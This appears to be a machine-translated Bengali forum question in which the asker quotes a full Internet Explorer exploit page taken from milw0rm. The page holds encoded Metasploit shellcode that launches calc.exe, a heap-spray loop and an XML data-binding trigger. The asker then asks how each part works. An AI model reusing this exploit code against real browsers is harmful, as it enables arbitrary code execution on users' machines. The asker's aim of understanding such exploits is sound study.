আমার সাধারণত জাভাস্ক্রিপ্ট কোড পড়তে অসুবিধা হয় না তবে এর জন্য আমি যুক্তিটি বের করতে পারি না। কোডটি 4 দিন আগে প্রকাশিত একটি শোষণের থেকে। আপনি এটি মিলওয়0 আরএম এ পাবেন ।
কোডটি এখানে:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
আমি যা বিশ্বাস করি তা এখানেই রয়েছে এবং আমি যে অংশটি ভুল বুঝি তার জন্য আপনি আমাকে সহায়তা করুন।
ভেরিয়েবলটিতে shellcode
কোডটি খোলার জন্য রয়েছে calc.exe
। তারা কীভাবে অদ্ভুত স্ট্রিংটি পেয়েছে তা আমি পাই না। কোন ধারণা?
দ্বিতীয় জিনিসটি পরিবর্তনশীল spray
। আমি এই অদ্ভুত লুপ বুঝতে পারি না।
তৃতীয় জিনিসটি এমন পরিবর্তনশীল memory
যা কখনও কোথাও ব্যবহৃত হয় না। কেন তারা এটি তৈরি করে?
শেষ কথা: এক্সএমএল ট্যাগ পৃষ্ঠাতে কী করে?
এই মুহুর্তে আমার কাছে ভাল উত্তর রয়েছে তবে বেশিরভাগই খুব সাধারণ। আমি কোডটির মান সম্পর্কে আরও ব্যাখ্যা চাই। একটি উদাহরণ unescape("%u0a0a%u0a0a");
। এর মানে কী? লুপ জন্য একই জিনিস কেন ডেভেলপার লেখ যা করেছে: length < 0xd0000
? আমি এই কোডের তত্ত্বটিই নয়, আরও গভীর বোঝা চাই।